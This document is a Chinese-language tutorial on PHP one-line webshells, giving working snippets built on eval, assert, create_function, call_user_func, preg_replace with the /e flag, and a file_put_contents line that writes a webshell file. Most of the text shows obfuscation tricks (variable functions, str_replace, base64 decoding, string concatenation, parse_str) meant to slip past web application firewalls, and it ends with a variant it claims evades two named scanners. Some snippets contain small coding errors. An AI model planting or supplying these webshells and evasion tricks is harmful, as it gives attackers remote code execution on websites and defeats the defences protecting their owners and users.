什么是一句話木馬
一句話木馬就是只需要一行代碼的木馬,短短一行代碼,就能做到和大馬相當的功能。為了繞過waf的檢測,一句話木馬出現了無數中變形,但本質是不變的:木馬的函數執行了我們發送的命令。
我們如何發送命令,發送的命令如何執行?
我們可以通過
GET、POST、COOKIE
這三種方式向一個網站提交數據,一句話木馬用$_GET[' ']、$_POST[' ']、$_COOKIE[' ']
接收我們傳遞的數據,並把接收的數據傳遞給一句話木馬中執行命令的函數,進而執行命令。 所以看到的經典一句話木馬大多都是只有兩個部分,一個是可以執行代碼的函數部分,一個是接收數據的部分。
例如:
其中eval就是執行命令的函數,$_POST['a']就是接收的數據。eval函數把接收的數據當作PHP代碼來執行。這樣我們就能夠讓插入了一句話木馬的網站執行我們傳遞過去的任意PHP語句。這便是一句話木馬的強大之處。
示例:
因為木馬是接收post請求中 “a” 的數據( $_POST[‘a’]),所以我們必須以post方法發送數據並且將我們要執行的代碼賦值給“a”。如果把木馬中的post替換成get,那么我么就需要以GET方法發送“a”,( 就像這樣: http://127.0.0.1/test.php?a=phpinfo(); )我就不再另行演示了。
使用 其他函數制作一句話木馬
assert函數
#
<?php assert(@$_POST['a']); ?> create_function函數 <?php $fun = create_function('',$_POST['a']); $fun(); ?>
把用戶傳遞的數據生成一個函數fun(),然后再執行fun()
call_user_func回調函數
#
<?php @call_user_func(assert,$_POST['a']); ?>
call_user_func這個函數可以調用其它函數,被調用的函數是call_user_func的第一個函數,被調用的函數的參數是call_user_func的第二個參數。這樣的一個語句也可以完成一句話木馬。一些被waf攔截的木馬可以配合這個函數繞過waf。
preg_replace函數
#
<?php @preg_replace("/abcde/e", $_POST['a'], "abcdefg"); ?>
這個函數原本是利用正則表達式替換符合條件的字符串,但是這個函數有一個功能——可執行命令。這個函數的第一個參數是正則表達式,按照PHP的格式,表達式在兩個“/”之間。如果我們在這個表達式的末尾加上“e”,那么這個函數的第二個參數就會被當作代碼執行。
file_put_contents函數
利用函數生成木馬
#
<?php $test='<?php $a=$_POST["cmd"];assert($a); ?>'; file_put_contents("Trojan.php", $test); ?>
函數功能:生成一個文件,第一個參數是文件名,第二個參數是文件的內容。
如何讓一句話木馬繞過waf ?
waf是網站的防火牆,例如安全狗就是waf的一種。waf通常以關鍵字判斷是否為一句話木馬,但是一句話木馬的變形有很多種,waf根本不可能全部攔截。想要繞過waf,需要掌握各種PHP小技巧,掌握的技巧多了,把技巧結合起來,設計出屬於自己的一句話木馬。
PHP變量函數
#
<?php $a = "eval"; $a(@$_POST['a']); ?>
第三行使用了變量函數$a,變量儲存了函數名eval,便可以直接用變量替代函數名。
PHP可變變量
#
<?php $bb="eval"; $a="bb"; $$aa($_POST['a']); ?>
看這句就能理解上述語句:$$aa = $($aa) = $ (‘bb’) = $bb = "eval"
str_replace函數
#
<?php $a=str_replace("Waldo", "", "eWaldoval"); $a(@$_POST['a']); ?>
函數功能:在第三個參數中,查找第一個參數,並替換成第二個參數。這里第二個參數為空字符串,就相當於刪除"Waldo"。
base64_decode函數
#
<?php $a=base64_decode("ZXZhbA==") $a($_POST['a']); ?>
這里是base64解密函數,"ZXZhbA=="是eval的base64加密。
"."操作符
#
<?php $a="e"."v"; $b="a"."l"; $c=$a.$b; $c($_POST['a']); ?>
parse_str函數
#
<?php $str="a=eval"; parse_str($str); $a($_POST['a']); ?>
執行這個函數后,生成一個變量$a,值為字符串"eval"
更多技巧...
多實戰,多谷歌! 上述六種技巧每一種單獨使用都不能繞過waf,但是與 第三大點提到的函數混合起來使用,就可以順利的欺騙waf。 tips:使用一句話木馬的時候可以在函數前加”@”符,這個符號讓php語句不顯示錯誤信息,增加隱蔽性。
再來一個小栗子
#
<?php function fun() {return $_POST['a'];} @preg_replace("/test/e",fun(),"test test test"); ?>
這里又有一個技巧,創建函數 fun(),返回post中“a”的數據。我的這個例子很明顯是一句話木馬,但是安全狗卻掃不出,D盾也是如此。